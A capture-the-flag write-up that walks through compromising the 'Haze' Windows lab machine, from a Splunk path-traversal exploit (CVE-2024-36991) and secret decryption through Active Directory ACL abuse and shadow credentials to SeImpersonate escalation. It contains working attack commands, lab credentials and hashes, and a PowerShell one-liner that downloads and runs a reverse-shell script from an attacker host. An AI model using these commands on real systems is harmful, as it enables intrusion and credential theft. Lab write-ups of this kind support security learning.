Post

Haze

Haze is a hard windows machine involving Splunk and active directory misconfiguration.

Haze

About

Haze

Haze

Difficulty: Hard

OS: Windows

Release date: 2025-03-29

Authors: EmSec

Summary

Using a path traversal vulnerability in Splunk we can decrypt the password for Paul Taylor. Mark Adams is using the same password and has rights over the Haze-IT-Backup gmsA.
With this account we can control the support_services group and perform a shadow credential attack to get the hash of edward.martin who owns the user flag. We find a Splunk backup and can decrypt the admin password. With a custom app we can get RCE as the Splunk service user who has SeImpersonate privileges which can get us Administrator access.

Recon

nmap tells us we have domain controller that is running Splunk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
53/tcp    open  domain        syn-ack ttl 127 (generic dns response: SERVFAIL)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-30 06:13:07Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open  http          syn-ack ttl 127 Splunkd httpd
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49672/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
54248/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55725/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55728/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55742/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55759/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53/udp  open  domain       udp-response ttl 127 (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec udp-response ttl 127 Microsoft Windows Kerberos (server time: 2025-03-30 06:12:19Z)
123/udp open  ntp          udp-response ttl 127 NTP v3

Port 8089 tells us the splunk version is 9.2.1: Splunk version

Splunk does not have a default admin password and the windows guest account is disabled.

Let’s add haze.htb to the hosts file so we don’t have to type the ip.

User

Paul Taylor

Splunk 9.2.1 has various vulnerabilities. One of them is an unauthenticated path traversal vulnerability that can be used to read local files. It has a nice poc script available:
https://github.com/bigb0x/CVE-2024-36991

1
2
3
4
5
$ python3 CVE-2024-36991.py -u http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152

It succeeds and reports the user hashes. Unfortunately they are not crackable with rockyou.

Upon inspecting the poc we see that just a single request is needed to get this file:

1
curl "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd"

We can easily adapt it to read other files. After a lot of trial and error and spinning up some splunk docker containers we manage to retrieve the following interesting configuration files.

1
curl "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
1
curl "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
1
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

bindDNpassword is the encrypted password for Paul Taylor. With this information we can use splunksecrets to decrypt it.
I recommend installing it with pipx install splunksecrets. Then save the secrets in splunk.secrets and you can decrypt the password:

1
splunksecrets splunk-decrypt -S splunk.secrets --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='

We get the password for paul.taylor and can continue with AD enumeration.

Shell as Mark Adams

First we create a userlist. There are many ways but I find impacket-lookupsid is easy to parse.

1
impacket-lookupsid haze.htb/paul.taylor:'Ld@p_Auth_Sp1unk@2k24'@haze.htb | grep SidTypeUser | cut -d' ' -f2 | cut -d\\ -f2 > users.txt

Next we spray the password accross all other users to check for password reuse.

1
nxc ldap haze.htb -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success

We find that mark.adams has the same password and he has winrm access.

1
evil-winrm -i haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'

Let’s now now run a BloodHound collector. There is no windows defender, so you can run it from the evil-winrm shell or use rusthound-ce:

1
rusthound-ce -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -i haze.htb -z

Haze-IT-Backup

We learn that Mark is in the group GMSA_MANAGERS. Bloodhound IT backups

There are some rights over Haze-IT-Backup$ but for some reason we cannot directly get the password.

1
2
3
4
5
$ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa           
SMB         10.129.187.149  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS       10.129.187.149  636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 
LDAPS       10.129.187.149  636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.187.149  636    DC01             Account: Haze-IT-Backup$      NTLM:

Turns out that eventhough we are in the group that manages that gmsa we don’t have rights to retrieve the password.
The easiest way is to add it, is from the winrm shell:

1
2
Import-Module ActiveDirectory
Set-ADServiceAccount -Identity Haze-IT-Backup -PrincipalsAllowedToRetrieveManagedPassword mark.adams

If we now repeat the command above, we get the NTLM hash.

1
2
3
4
5
$nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa                                     
SMB         10.129.190.209  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS       10.129.190.209  636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 
LDAPS       10.129.190.209  636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.190.209  636    DC01             Account: Haze-IT-Backup$      NTLM: 735c02c6b2dc54c3c8c6891f55279ebc

Shell as edward.martin

Revisiting BloodHound, we see that the servive account has WriteOwner rights on the SUPPORT_SERVICES group. Bloodhound IT backups

Trying to set Mark as the owner fails:

1
bloodyAD --host haze.htb -d haze -u 'Haze-IT-Backup$' -p :735c02c6b2dc54c3c8c6891f55279ebc set owner support_services 'mark.adams'

There seems to be some access constraints. We can however, set the service account as owner.

1
bloodyAD --host haze.htb -d haze -u 'Haze-IT-Backup$' -p :735c02c6b2dc54c3c8c6891f55279ebc set owner support_services 'Haze-IT-Backup$'

Afterwards, we can give the same user GenericAll rights and add it to the group.

1
2
bloodyAD --host haze.htb -d haze -u 'Haze-IT-Backup$' -p :735c02c6b2dc54c3c8c6891f55279ebc add genericAll support_services 'Haze-IT-Backup$'
bloodyAD --host haze.htb -d haze -u 'Haze-IT-Backup$' -p :735c02c6b2dc54c3c8c6891f55279ebc add groupMember support_services 'Haze-IT-Backup$'

Unfortunately rusthound-ce doesn’t support ntlm authentication yet. But we can use bloodyAD to check what rights the backup user now has.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ bloodyAD --host haze.htb -d haze -u 'Haze-IT-Backup$' -p :735c02c6b2dc54c3c8c6891f55279ebc get writable
distinguishedName: CN=TPM Devices,DC=haze,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Edward Martin,CN=Users,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Support_Services,CN=Users,DC=haze,DC=htb
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

Note the WRITE permission over Edward Martin.

We can perform a shadow credential attack. Note that there is a clock skew of 8 hours. We can use faketime to handle it.

1
faketime -f '+8h' certipy-ad shadow auto -username 'Haze-IT-Backup$'@haze.htb -hashes :735c02c6b2dc54c3c8c6891f55279ebc -account 'edward.martin'

There is a cleanup script. Repeat the previous commands if you fail to get the hash.

With the hash we can use evil-winrm to get a shell and retrieve the user flag.

1
evil-winrm -i haze.htb -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Root

Splunk admin

As Edward, we have access to a splunk backup in C:\Backups\Splunk. Use smb or the evil-winrm download command to move it to your attacker.

We notice that the backup has a different secret and alexander.green is used as bindDN user. We can decrypt the password in the same way.

Relative to the unpacked backup, the encrypted password is at ./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf and the secret is at ./etc/auth/splunk.secret.

1
2
$ splunksecrets splunk-decrypt -S ./etc/auth/splunk.secret --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24

This password doesn’t work for the domain user but it works for the the splunk administrator (username admin). We can log in at http://haze.htb:8000.

Shell as Alexander Green

As admin user, it’s not hard to get command execution. We can follow the steps outlines in this article: https://www.n00py.io/2018/10/popping-shells-on-splunk/

First we clone the mentioned repository:

1
git clone https://github.com/TBGSecurity/splunk_shells

Now modify the win_attack.bat in splunk_shells_TA_win/bin to run your reverse shell. Mine looks like this:

1
2
@ECHO OFF
powershell -NoProfile -c "IWR -UseBasicParsing 10.10.14.16/revpty.ps1|IEX"

But any reverse shell, e.g. base64 powershell with powershell -e JABjAGwAaQBlAG... should work.

Then we tar and gzip the folder.

1
tar czf shell.tgz splunk_shells_TA_win

Follow the steps in the article to install it and have your shell handler ready. Splunk app

You should immediately catch the shell without the need for a restart.

Administrator

We first run whoami to see what user we are.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
USER INFORMATION
----------------

User Name            SID                                        
==================== ===========================================
haze\alexander.green S-1-5-21-323145914-28650650-2368316563-1106


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                         Attributes                                        
========================================== ================ =========================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                     Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                     Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                     Mandatory group, Enabled by default, Enabled group
HAZE\Splunk_Admins                         Group            S-1-5-21-323145914-28650650-2368316563-1108 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                  


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We see SeImpersonatePrivilege which is an easy win.

Download EfsPotato and transfer it to the box:
https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs

Build it:

1
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /nowarn:0618 /nologo /out:EfsPotato.exe EfsPotato.cs

There are many ways to continue from here. Get a shell, just read the root flag. A simple option is to just add a user we own to the Administrators group.

1
.\EfsPotato.exe 'net localgroup Administrators mark.adams /add'

The shell dies very quickly. I recommend preparing the required commands in advance. You can also use a binary of EfsPotato since there is no Antivirus.
If you lose the shell, either reinstall the app or disable and reenable it.

Now if we log in again with evil-winrm, we can grab the root flag, dump hashes etc.

This post is licensed under CC BY 4.0 by the author.